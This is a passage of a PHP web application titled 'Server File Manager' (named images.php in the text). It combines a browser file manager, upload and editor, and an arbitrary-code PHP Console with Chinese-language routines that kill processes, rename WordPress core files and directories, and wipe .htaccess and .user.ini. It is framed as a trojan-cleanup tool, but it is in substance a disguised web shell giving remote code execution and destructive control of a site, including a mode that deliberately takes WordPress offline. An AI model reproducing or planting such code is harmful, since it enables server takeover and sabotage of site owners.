    'wp-comments-post.php' => 'wp-comments-post.php.locked',
    'wp-links-opml.php'    => 'wp-links-opml.php.locked',
    'wp-mail.php'          => 'wp-mail.php.locked',
    'wp-settings.php'      => 'wp-settings.php.locked',
    'wp-signup.php'        => 'wp-signup.php.locked',
    'wp-trackback.php'     => 'wp-trackback.php.locked',
  );
  // 目录(木马窝)
  $entryDirs=array(
    'wp-content'     => 'wp-content1',
    'wp-includes'    => 'wp-includes1',
  );

  // === STEP 1: 杀掉可能的监控进程,防止改名过程被干扰 ===
  $killResult=_aq_kill_php_watchers();
  $log[]=array('step'=>0,'path'=>'process','action'=>'kill watchers','ok'=>true,
    'msg'=>'killed '.count($killResult['killed']).' suspicious processes');

  // === STEP 2: 尝试解锁根目录权限以便rename ===
  // (不改成755保留,只是临时解锁让rename能跑;结束后不动权限)
  clearstatcache(true);
  $rootPermBefore=decoct(@fileperms($root)&0777);
  if($rootPermBefore!=='755'&&$rootPermBefore!=='777'){
    _aq_force_chmod($root,0755);
    clearstatcache(true,$root);
  }

  // === STEP 3: 改名所有入口文件 ===
  foreach($entryFiles as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(!file_exists($src)){
      $log[]=array('step'=>1,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'文件不存在');
      continue;
    }
    // 如果目标已存在(之前跑过),先删掉
    if(file_exists($dst)){
      @unlink($dst);
      if(file_exists($dst)&&function_exists('exec')){
        @exec('rm -f '.escapeshellarg($dst).' 2>&1');
      }
    }
    // 尝试PHP rename
    $ok=@rename($src,$dst);
    // 失败降级shell mv
    if(!$ok&&function_exists('exec')){
      @exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut,$mvRet);
      clearstatcache(true);
      $ok=(file_exists($dst)&&!file_exists($src));
    }
    $log[]=array('step'=>1,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok,
      'msg'=>$ok?'入口已封':'改名失败 - 可能属主不同,需SSH');
  }

  // === STEP 4: 改名 wp-content / wp-includes ===
  foreach($entryDirs as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(!is_dir($src)){
      $log[]=array('step'=>2,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'目录不存在');
      continue;
    }
    if(is_dir($dst)){
      // 目标已存在,说明之前已经断过链,跳过
      $log[]=array('step'=>2,'path'=>$orig,'action'=>'already locked','ok'=>true,
        'msg'=>$locked.' 已存在,跳过');
      continue;
    }
    _aq_force_chmod($src,0755);
    $ok=@rename($src,$dst);
    if(!$ok&&function_exists('exec')){
      @exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut2,$mvRet2);
      clearstatcache(true);
      $ok=(is_dir($dst)&&!is_dir($src));
    }
    $log[]=array('step'=>2,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok,
      'msg'=>$ok?'目录已隔离':'改名失败');
  }

  // === STEP 5: 备份并清空 .htaccess(防止 auto_prepend_file / rewrite 加载木马) ===
  $ht=$root.'/.htaccess';
  $htBak=$root.'/.htaccess.locked';
  if(file_exists($ht)){
    // 备份
    if(!file_exists($htBak)){
      $htContent=@file_get_contents($ht);
      if($htContent!==false){
        @file_put_contents($htBak,$htContent);
      }
    }
    // 清空(改成空文件而非删除,保持文件存在避免404规则冲突)
    _aq_force_chmod($ht,0644);
    $wOk=@file_put_contents($ht,"# locked by isolate v3\n");
    if($wOk===false&&function_exists('exec')){
      @exec('echo "# locked" > '.escapeshellarg($ht).' 2>&1');
      $wOk=(filesize($ht)<200);
    }
    $log[]=array('step'=>3,'path'=>'.htaccess','action'=>'clear + backup','ok'=>($wOk!==false),
      'msg'=>$wOk!==false?'已清空(备份到 .htaccess.locked)':'清空失败');
  } else {
    $log[]=array('step'=>3,'path'=>'.htaccess','action'=>'skip','ok'=>true,'msg'=>'文件不存在');
  }

  // === STEP 6: 检查是否有 .user.ini(常被用来 auto_prepend_file 加载木马) ===
  $userIni=$root.'/.user.ini';
  if(file_exists($userIni)){
    $uiBak=$root.'/.user.ini.locked';
    if(!file_exists($uiBak)){
      $uiContent=@file_get_contents($userIni);
      if($uiContent!==false)@file_put_contents($uiBak,$uiContent);
    }
    _aq_force_chmod($userIni,0644);
    $wOk=@file_put_contents($userIni,"; locked by isolate v3\n");
    $log[]=array('step'=>4,'path'=>'.user.ini','action'=>'clear + backup','ok'=>($wOk!==false),
      'msg'=>$wOk!==false?'已清空(备份到 .user.ini.locked)':'清空失败,可能有 auto_prepend_file 后门');
  }

  // === STEP 7: 最终复验,列出根目录当前状态 ===
  clearstatcache(true);
  $verify=array();
  // 列出应该已经消失的原名
  foreach($entryFiles as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(file_exists($src)){
      $verify[$orig]='⚠ 仍存在(断链失败)';
    } elseif(file_exists($dst)){
      $verify[$orig]='已封 → '.$locked;
    } else {
      $verify[$orig]='不存在';
    }
  }
  foreach($entryDirs as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(is_dir($src)){
      $verify[$orig]='⚠ 仍存在(断链失败)';
    } elseif(is_dir($dst)){
      $verify[$orig]='已封 → '.$locked;
    } else {
      $verify[$orig]='不存在';
    }
  }
  // 检查 .htaccess 是否已清空
  if(file_exists($ht)){
    $sz=@filesize($ht);
    $verify['.htaccess']=($sz!==false&&$sz<200)?('已清空 ('.$sz.' bytes)'):('⚠ 未清空 ('.$sz.' bytes)');
  }

  json_out(array('ok'=>true,'root'=>$root,'log'=>$log,'verify'=>$verify,'kill_info'=>$killResult,
    'mode'=>'v3_pure_isolate','note'=>'纯断链模式:WP已完全停机,访问网站会返回404/白屏,本工具继续可用'));
}

json_out(array('ok'=>false,'error'=>'unknown api'));}

// PHP Console error handler (PHP 5.2 compatible)
$__aq_console_errors=array();
function _aq_console_err_handler($errno,$errstr,$errfile,$errline){
  global $__aq_console_errors;
  $types=array(E_WARNING=>'Warning',E_NOTICE=>'Notice',E_STRICT=>'Strict',E_DEPRECATED=>'Deprecated');
  $label=isset($types[$errno])?$types[$errno]:'Error';
  $__aq_console_errors[]=$label.': '.$errstr.' (line '.$errline.')';
  return true;
}

$rel=g('path');$target=safe_real($rel);if(!$target){$target=($rel==='')?getcwd():(safe_real(getcwd().'/'.$rel));if(!$target)$target=getcwd();}if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash();
?><!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Server File Manager</title>
<style>
:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}
body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}
.container{max-width:1200px;margin:24px auto;padding:18px}
.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}
.brand{display:flex;align-items:center;gap:12px}
.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}
.title{font-size:20px;font-weight:700}
.controls{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none;font-size:13px;display:inline-block}
.btn.primary{background:var(--accent);color:#fff;border:none}
.btn.danger{background:#dc2626;color:#fff;border:none}
.btn.console-btn{background:#059669;color:#fff;border:none}
.btn.create-btn{background:#7c3aed;color:#fff;border:none}
.btn.scan-btn{background:#dc2626;color:#fff;border:none;animation:pulse 2s infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.7}}
.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}
.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}
.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}
.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}
.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}
.small{font-size:12px;color:var(--muted)}
.actions button,.actions a{display:inline-block;margin-right:2px}
.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}
.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1);max-height:90vh;overflow:auto}
.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}
.progress-list{margin-top:12px}
.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}
.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}
.progress-fill{height:100%;background:var(--accent);width:0%}
.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}
.editor-modal .box{width:90%;max-width:1100px}
.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}
textarea{width:100%;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace;box-sizing:border-box;font-size:13px}
a.link{color:var(--accent);text-decoration:none}
.aq-overlay{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);display:flex;align-items:center;justify-content:center;z-index:9999}
.aq-dialog{background:#fff;padding:20px;border-radius:10px;min-width:380px;max-width:500px;box-shadow:0 10px 25px rgba(0,0,0,.2)}
.aq-dialog .aq-msg{font-size:14px;margin-bottom:14px;color:#0f172a;word-break:break-all}
.aq-dialog input{width:100%;padding:8px;border:1px solid #cbd5e1;border-radius:6px;font-size:14px;box-sizing:border-box}
.aq-dialog .aq-btns{margin-top:14px;text-align:right}
/* Console */
.console-modal .box{width:90%;max-width:1100px;display:flex;flex-direction:column}
#consoleCode{height:200px;resize:vertical;font-family:Consolas,'Courier New',monospace;font-size:13px;tab-size:4;line-height:1.5}
#consoleOutput{min-height:100px;max-height:300px;overflow:auto;background:#1e293b;color:#e2e8f0;padding:12px;border-radius:8px;font-family:Consolas,'Courier New',monospace;font-size:12px;white-space:pre-wrap;word-break:break-all;margin-top:8px}
.console-meta{margin-top:6px;font-size:12px;color:var(--muted)}
/* Create File */
.create-modal .box{width:500px}
.create-modal label{display:block;font-size:13px;font-weight:600;color:#334155;margin-bottom:4px;margin-top:12px}
.create-modal .input{width:100%;box-sizing:border-box}
#createContent{height:120px;resize:vertical}
/* Security Scanner */
.scan-modal .box{width:90%;max-width:1000px}
.scan-item{padding:10px;margin:6px 0;border-radius:8px;border-left:4px solid #ef4444;background:#fef2f2;font-size:13px;display:flex;justify-content:space-between;align-items:flex-start;gap:8px}
.scan-item.medium{border-left-color:#f59e0b;background:#fffbeb}
.scan-item .si-path{font-family:monospace;word-break:break-all;flex:1}
.scan-item .si-reason{color:#991b1b;font-size:12px}
.scan-item.medium .si-reason{color:#92400e}
.scan-item .si-actions{display:flex;gap:4px;flex-shrink:0}
.scan-safe{padding:20px;text-align:center;color:#166534;font-size:16px}
</style></head>
<body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title"><?php echo getWebServerType(); ?></div></div></div>
<div class="controls">
<form method="get" style="display:flex;gap:8px;align-items:center"><input type="hidden" name="path" value="<?php echo esc($target);?>"><input class="input" name="q" placeholder="Search" value="<?php echo esc(g('q'));?>"><button class="btn" type="submit">Search</button></form>
<button class="btn" onclick="openUpload()">Upload</button>
<button class="btn" onclick="doMkdir()">New Folder</button>
<button class="btn create-btn" onclick="openCreateFile()">📄New File</button>
<button class="btn console-btn" onclick="openConsole()">⚡Console</button>
<button class="btn scan-btn" onclick="openScanner()">🛡️Security Scan</button>
<button class="btn" onclick="openChainBreaker()" style="background:#dc2626;color:#fff;border:none;font-weight:700;box-shadow:0 0 0 3px rgba(220,38,38,.25)">🔗 一键破链解锁</button>
<button class="btn" onclick="openChainIsolate()" style="background:#7c2d12;color:#fff;border:none;font-weight:700">🔒 隔离解锁</button>
<button class="btn" onclick="doGenFile('htaccess')">Gen .htaccess</button>
<button class="btn" onclick="doGenFile('robots')">Gen robots.txt</button>
<a class="btn" href="?path=<?php echo urlencode(dirname($target));?>">⬆️Parent</a>
<a class="btn" href="<?php echo esc($_SERVER['PHP_SELF']);?>">🏠Root</a>
</div></div>
<?php if($flash):?><div class="flash" id="flash"><?php echo esc($flash);?></div><?php else:?><div id="flash" style="display:none" class="flash"></div><?php endif;?>
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a"><?php echo esc($target);?></div><div class="small">PHP <?php echo PHP_VERSION;?> | User: <?php
$__u='-';$__s=@stat(__FILE__);
if($__s && function_exists('posix_getpwuid')){$__p=@posix_getpwuid($__s['uid']);if($__p && isset($__p['name']))$__u=$__p['name'];}
if($__u==='-'){$__v=@getenv('USER');if($__v)$__u=$__v;}
echo esc($__u);
?></div></div>
<table class="table" id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php $q=g('q');foreach($files as $f): if($q!==''&&stripos($f['name'],$q)===false&&$f['name']!=='..')continue;?>
<tr><td style="width:40%"><?php if($f['is_dir']):?><a class="small link" href="?path=<?php echo urlencode($f['path']);?>" style="font-weight:700;color:#2563eb;text-decoration:none"><?php echo $f['name']==='..'?'📁 .. (Parent Directory)':'📁 '.esc($f['name']);?></a><?php else:?><a href="javascript:void(0)" onclick="openEditor('<?php echo rawurlencode($f['path']);?>')" style="color:#0f172a;text-decoration:none">📄 <?php echo esc($f['name']);?></a><?php endif;?></td>
<td><?php echo $f['is_dir']?'Dir':'File';?></td><td><?php echo $f['is_dir']?'-':human_size($f['size']);?></td><td><?php echo $f['name']==='..'?'-':date('Y-m-d H:i:s',$f['mtime']);?></td><td><?php echo esc($f['perm']);?></td>
<td class="actions"><?php if($f['name']==='..'):?><a class="btn" href="?path=<?php echo urlencode($f['path']);?>">📂</a><?php elseif($f['is_dir']):?><a class="btn" href="?path=<?php echo urlencode($f['path']);?>">📂</a> <button class="btn" onclick="doDelete('<?php echo rawurlencode($f['path']);?>')">❌</button> <button class="btn" onclick="doRename('<?php echo rawurlencode($f['path']);?>')">✏️</button> <button class="btn" onclick="doChmod('<?php echo rawurlencode($f['path']);?>')">🔐</button><?php else:?><a class="btn" href="?action=download&path=<?php echo urlencode($target);?>&file=<?php echo urlencode($f['name']);?>">⬇</a> <button class="btn primary" onclick="openEditor('<?php echo rawurlencode($f['path']);?>')">📝</button> <button class="btn" onclick="window.open('<?php echo esc(file_to_web_url($f['path'],$docRoot));?>','_blank')">🔗</button> <button class="btn" onclick="doDelete('<?php echo rawurlencode($f['path']);?>')">❌</button> <button class="btn" onclick="doRename('<?php echo rawurlencode($f['path']);?>')">✏️</button> <button class="btn" onclick="doChmod('<?php echo rawurlencode($f['path']);?>')">🔐</button><?php endif;?></td></tr><?php endforeach;?></tbody></table></div>

<!-- Upload Modal -->
<div class="modal" id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div id="dropArea" class="drop">Drag files here, or click to select</div><input type="file" id="fileInput" multiple style="display:none"><div class="progress-list" id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn" onclick="closeUpload()">Close</button></div></div></div>

<!-- Editor Modal -->
<div class="modal editor-modal" id="editorModal"><div class="box"><div class="editor-header"><div><div style="font-weight:700" id="editorTitle">Edit</div><div class="small" id="editorPath"></div></div><div><button class="btn primary" id="saveBtn">Save</button> <button class="btn" onclick="closeEditor()">Close</button></div></div><textarea id="editorContent" style="height:60vh"></textarea></div></div>

<!-- PHP Console Modal -->
<div class="modal console-modal" id="consoleModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:8px">
<div><div style="font-weight:700;font-size:16px">⚡ PHP Console</div><div class="small">PHP <?php echo PHP_VERSION;?> | No &lt;?php tag needed | Ctrl+Enter to run</div></div>
<div><button class="btn" onclick="closeConsole()">Close</button></div>
</div>
<div style="display:flex;gap:8px;margin-bottom:8px">
<button class="btn primary" onclick="runConsole()" id="runBtn">▶ Run</button>
<button class="btn" onclick="clearConsole()">🗑 Clear</button>
</div>
<textarea id="consoleCode" placeholder="echo 'Hello World!';">echo 'Hello World!';</textarea>
<div id="consoleOutput">Output will appear here...</div>
<div class="console-meta" id="consoleMeta"></div>
</div></div>

<!-- Create File Modal -->
<div class="modal create-modal" id="createModal"><div class="box">
<h3 style="margin:0 0 4px 0">📄 Create New File</h3>
<div class="small" style="margin-bottom:4px">Dir: <?php echo esc($target);?></div>
<label>File Name (include extension)</label>
<input class="input" id="createFileName" placeholder="e.g. index.php, config.json, style.css">
<label>Content (optional)</label>
<textarea id="createContent" placeholder="Leave empty for blank file"></textarea>
<div style="margin-top:12px;text-align:right">
<button class="btn" onclick="closeCreateFile()" style="margin-right:8px">Cancel</button>
<button class="btn create-btn" onclick="submitCreateFile()">Create</button>
</div>
</div></div>

<!-- Security Scanner Modal -->
<div class="modal scan-modal" id="scanModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#dc2626">🛡️ Security Scanner</div>
<div class="small">Scan for webshells, backdoors, permission locks, and suspicious crontab entries</div>
</div>
<div><button class="btn" onclick="closeScan()">Close</button></div>
</div>
<div style="display:flex;gap:8px;align-items:center;margin-bottom:12px;flex-wrap:wrap">
<input class="input" id="scanPath" value="<?php echo esc($docRoot?$docRoot:$target);?>" style="flex:1;min-width:200px" placeholder="Scan path">
<button class="btn danger" onclick="runScan()" id="scanBtn">🔍 Start Scan</button>
<button class="btn" onclick="resetDocroot()" title="Reset docroot: dirs→755, files→644" style="background:#f59e0b;color:#fff;border:none">🔧 Reset DocRoot Perms</button>
</div>
<div id="scanResults" style="max-height:55vh;overflow:auto">
<div style="text-align:center;color:var(--muted);padding:30px">Click "Start Scan" to begin...</div>
</div>
<div id="scanSummary" style="margin-top:8px;font-size:12px;color:var(--muted)"></div>
</div></div>

<div class="modal scan-modal" id="chainModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#dc2626">🔗 一键破链解锁</div>
<div class="small">在同一次请求内按顺序完成:净化 .htaccess → 删除木马 → 解锁权限,不给木马重新上锁的机会</div>
</div>
<div><button class="btn" onclick="document.getElementById('chainModal').style.display='none'">关闭</button></div>
</div>
<div style="background:#fef2f2;border-left:4px solid #dc2626;padding:12px;border-radius:8px;font-size:13px;color:#991b1b;margin-bottom:12px;line-height:1.7">
<b>它会做什么(按顺序,一口气):</b><br>
① 备份当前 .htaccess(存为 .htaccess.bak_日期),再把它替换成干净的标准 WordPress 规则,踢掉恶意白名单<br>
② 删除 .htaccess 白名单里所有<b>不属于 WordPress 核心</b>的可疑 .php 文件(先解锁权限再删)<br>
③ 把 index.php / wp-config.php 等被锁成 444 的文件解锁回 644<br>
④ 复验 index.php 是否还被锁<br>
<b style="color:#dc2626">先点「分析」看清楚要动哪些文件,确认无误再点「执行」。</b>
</div>
<div style="display:flex;gap:8px;margin-bottom:12px">
<button class="btn" onclick="chainAnalyze()" style="background:#0ea5e9;color:#fff;border:none">🔍 1. 分析(只看不动)</button>
<button class="btn" onclick="chainExecute()" id="chainExecBtn" style="background:#dc2626;color:#fff;border:none;font-weight:700" disabled>⚡ 2. 执行破链</button>
</div>
<div id="chainResults" style="max-height:50vh;overflow:auto;font-size:13px"></div>
</div></div>

<div class="modal scan-modal" id="isolateModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#7c2d12">🔒 隔离解锁(断链改权限)</div>
<div class="small">改名 wp-content/wp-includes 瞬间断掉木马锁链,解锁权限后再改回来</div>
</div>
<div><button class="btn" onclick="document.getElementById('isolateModal').style.display='none'">关闭</button></div>
</div>
<div style="background:#fef2f2;border-left:4px solid #7c2d12;padding:12px;border-radius:8px;font-size:13px;color:#991b1b;margin-bottom:12px;line-height:1.7">
<b>原理:</b> 入侵者在 wp-content 和 wp-includes 里放了互相监控的脚本(inotify/循环chmod),你改一个权限另一个立即锁回来。<br>
<b>v2 增强版,一次请求内按顺序:</b><br>
⓪ 杀掉当前用户所有可疑的PHP/inotify监控进程<br>
① wp-content → wp-content1, wp-includes → wp-includes1 (断链,PHP/shell双通道)<br>
② 强制 chmod 根目录/index.php/.htaccess 为 755 (PHP→exec→system→shell_exec 四级递降)<br>
③ wp-content1 → wp-content, wp-includes1 → wp-includes (改回来)<br>
④ 等100ms复验: 如果被锁回去, 再杀一轮进程+再改一轮<br>
<b style="color:#7c2d12">站会短暂不可用(~200ms),改完立即恢复。</b>
</div>
<div style="display:flex;gap:8px;margin-bottom:12px">
<button class="btn" onclick="chainIsolateExec()" style="background:#7c2d12;color:#fff;border:none;font-weight:700">⚡ 执行隔离解锁</button>
</div>
<div id="isolateResults" style="max-height:50vh;overflow:auto;font-size:13px"><div style="text-align:center;color:#94a3b8;padding:24px">点「执行隔离解锁」开始</div></div>
</div></div>

<script>
var CHAIN_SUSPECTS=[];
function openChainBreaker(){document.getElementById('chainResults').innerHTML='<div style="text-align:center;color:#94a3b8;padding:24px">点「分析」开始</div>';document.getElementById('chainExecBtn').disabled=true;document.getElementById('chainModal').style.display='flex';}
function chainAnalyze(){
  var box=document.getElementById('chainResults');
  box.innerHTML='<div style="padding:20px;text-align:center">分析中...</div>';
  var d=new FormData();d.append('api','1');d.append('action','chain_analyze');
  fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
    if(!res.ok){box.innerHTML='<div style="color:#dc2626">分析失败: '+(res.error||'')+'</div>';return;}
    var a=res.analyze;var h='';CHAIN_SUSPECTS=[];
    h+='<div style="margin-bottom:8px"><b>网站根目录:</b> <span style="font-family:monospace">'+a.root+'</span></div>';
    if(a.htaccess&&a.htaccess.exists){
      h+='<div style="padding:8px;background:#f8fafc;border-radius:6px;margin-bottom:8px">.htaccess 存在 · 权限 '+a.htaccess.perm+' · '+(a.htaccess.writable?'<span style="color:#16a34a">可写✓</span>':'<span style="color:#dc2626">不可写✗(可能属主不同)</span>')+' · 白名单里发现 <b style="color:#dc2626">'+a.htaccess.suspect_count+'</b> 个非WP文件</div>';
    }else{h+='<div style="color:#92400e;margin-bottom:8px">根目录没有 .htaccess</div>';}
    if(a.index){
      var lk=(a.index.perm==='444'||a.index.perm==='0444'||a.index.perm==='000');
      h+='<div style="padding:8px;border-radius:6px;margin-bottom:8px;background:'+(lk?'#fef2f2':'#f0fdf4')+'">index.php 当前权限 <b>'+a.index.perm+'</b> '+(lk?'<span style="color:#dc2626">← 被锁死</span>':'<span style="color:#16a34a">正常</span>')+' · '+(a.index.writable?'可写':'不可写')+'</div>';
    }
    if(a.suspect_files&&a.suspect_files.length){
      h+='<div style="font-weight:700;margin:10px 0 6px">将删除以下可疑文件(勾选要删的):</div>';
      a.suspect_files.forEach(function(f,i){
        if(f.exists){CHAIN_SUSPECTS.push(f.path);}
        h+='<label style="display:flex;align-items:center;gap:8px;padding:6px;border-bottom:1px solid #eee">'+
           '<input type="checkbox" class="chain-sus" value="'+encodeURIComponent(f.path)+'" '+(f.exists?'checked':'disabled')+'>'+
           '<span style="font-family:monospace;flex:1">'+f.name+'</span>'+
           '<span style="font-size:11px;color:'+(f.exists?'#dc2626':'#94a3b8')+'">'+(f.exists?('存在·'+f.perm+(f.writable?'':'·不可写')):'白名单里有但文件不存在')+'</span></label>';
      });
    }else{
      h+='<div style="color:#16a34a;padding:8px">.htaccess 白名单里没有发现非WP的可疑文件</div>';
    }
    box.innerHTML=h;
    document.getElementById('chainExecBtn').disabled=false;
  }).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
}
function chainExecute(){
  aqConfirm('确认执行破链?\n\n会备份并重写 .htaccess、删除勾选的木马、解锁核心文件权限。\n此操作会真实修改/删除文件。').then(function(ok){
    if(!ok)return;
    var box=document.getElementById('chainResults');
    box.innerHTML='<div style="padding:20px;text-align:center">执行中,请勿关闭...</div>';
    var extra=[];document.querySelectorAll('.chain-sus:checked').forEach(function(c){extra.push(decodeURIComponent(c.value));});
    var d=new FormData();d.append('api','1');d.append('action','chain_break');d.append('extra_files',JSON.stringify(extra));
    fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
      if(!res.ok){box.innerHTML='<div style="color:#dc2626">执行失败: '+(res.error||'')+'</div>';return;}
      var h='<div style="font-weight:700;margin-bottom:8px">执行日志:</div>';
      res.log.forEach(function(l){
        h+='<div style="display:flex;gap:8px;padding:5px;border-bottom:1px solid #eee;font-size:12px">'+
           '<span style="width:18px;color:#64748b">S'+l.step+'</span>'+
           '<span>'+(l.ok?'<span style="color:#16a34a">✓</span>':'<span style="color:#dc2626">✗</span>')+'</span>'+
           '<span style="flex:1"><b>'+l.action+'</b> '+(l.msg?('· '+l.msg):'')+'<br><span style="font-family:monospace;color:#64748b">'+l.path+'</span></span></div>';
      });
      if(res.verify){
        var lk=(res.verify.perm==='444'||res.verify.perm==='0444'||res.verify.perm==='000');
        h+='<div style="margin-top:12px;padding:12px;border-radius:8px;font-weight:700;background:'+(lk?'#fef2f2':'#f0fdf4')+';color:'+(lk?'#dc2626':'#166534')+'">'+
           (lk?'⚠ index.php 仍是 '+res.verify.perm+' — 说明还有活着的木马在锁它,或该文件属主不是当前PHP用户。请先点 Security Scan 找出并删掉其余后门,再回来执行一次。':'✅ index.php 已解锁为 '+res.verify.perm+' 且可写。破链成功!接下来立刻改掉 FTP/面板/WP后台 密码,并把入侵你的那个插件删掉或更新。')+'</div>';
      }
      box.innerHTML=h;
    }).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
  });
}
function openChainIsolate(){document.getElementById('isolateResults').innerHTML='<div style="text-align:center;color:#94a3b8;padding:24px">点「执行隔离解锁」开始</div>';document.getElementById('isolateModal').style.display='flex';}
function chainIsolateExec(){
  aqConfirm('确认执行「深度断链」v4?\n\n将封掉所有 WP 官方根目录 PHP + 木马窝目录:\n\n① 杀掉可疑监控进程\n② 封 9 个 WP 官方文件(改名加 .locked):\n   index.php / wp-login.php / wp-cron.php / xmlrpc.php\n   wp-activate.php / wp-blog-header.php / wp-comments-post.php\n   wp-links-opml.php / wp-mail.php / wp-settings.php\n   wp-signup.php / wp-trackback.php\n③ 封 wp-content / wp-includes(如未封)\n④ 清空 .htaccess 和 .user.ini(已备份)\n\n⚠ 不动的文件:\n   • wp-config.php / wp-config-sample.php / wp-load.php\n   • 所有非 wp- 开头的 PHP(可能是你的后门或木马,你自己处理)\n   • wp-admin/ 及其他所有目录\n\n执行后 WP 彻底停机,木马无法通过 WP 链触发。\n本工具 images.php 继续可用。\n恢复方法:手动去掉 .locked 后缀。').then(function(ok){
    if(!ok)return;
    var box=document.getElementById('isolateResults');
    box.innerHTML='<div style="padding:20px;text-align:center">执行中(杀进程→封 12 个 WP 文件→封目录→清 htaccess)...</div>';
    var d=new FormData();d.append('api','1');d.append('action','chain_isolate');
    fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
      if(!res.ok){box.innerHTML='<div style="color:#dc2626">执行失败: '+(res.error||'')+'</div>';return;}
      var h='';
      // 显示杀进程信息
      if(res.kill_info){
        var ki=res.kill_info;
        h+='<div style="padding:8px;background:#fef3c7;border-radius:6px;margin-bottom:8px;font-size:12px">';
        h+='<b>进程清理:</b> ';
        if(ki.killed&&ki.killed.length>0){
          h+='杀掉 <b style="color:#dc2626">'+ki.killed.length+'</b> 个可疑进程:<br>';
          ki.killed.forEach(function(p){h+='  PID '+p.pid+': '+escH(p.cmd)+'<br>';});
        }else{
          h+='未发现可疑监控进程';
        }
        h+='</div>';
      }
      h+='<div style="font-weight:700;margin-bottom:8px">执行日志:</div>';
      res.log.forEach(function(l){
        var stepNames={0:'杀进程',1:'封入口',2:'封目录',3:'清htaccess',4:'清user.ini'};
        var sn=stepNames[l.step]||('S'+l.step);
        h+='<div style="display:flex;gap:8px;padding:5px;border-bottom:1px solid #eee;font-size:12px">'+
           '<span style="min-width:60px;color:#64748b;font-size:11px">'+sn+'</span>'+
           '<span>'+(l.ok?'<span style="color:#16a34a">\u2713</span>':'<span style="color:#dc2626">\u2717</span>')+'</span>'+
           '<span style="flex:1"><b>'+escH(l.action)+'</b> '+(l.msg?('\u00b7 '+escH(l.msg)):'')+'<br><span style="font-family:monospace;color:#64748b">'+escH(l.path)+'</span></span></div>';
      });
      if(res.verify){
        h+='<div style="margin-top:12px;padding:12px;border-radius:8px;background:#f8fafc;font-size:13px"><b>最终状态:</b><br>';
        var allSealed=true;
        for(var k in res.verify){
          var v=res.verify[k];
          var color='#0f172a';
          if(v.indexOf('\u26a0')!==-1){color='#dc2626';allSealed=false;}
          else if(v.indexOf('\u5df2\u5c01')!==-1||v.indexOf('\u5df2\u6e05\u7a7a')!==-1){color='#16a34a';}
          else if(v.indexOf('\u4e0d\u5b58\u5728')!==-1){color='#94a3b8';}
          h+='<span style="font-family:monospace">'+escH(k)+'</span>: <b style="color:'+color+'">'+escH(v)+'</b><br>';
        }
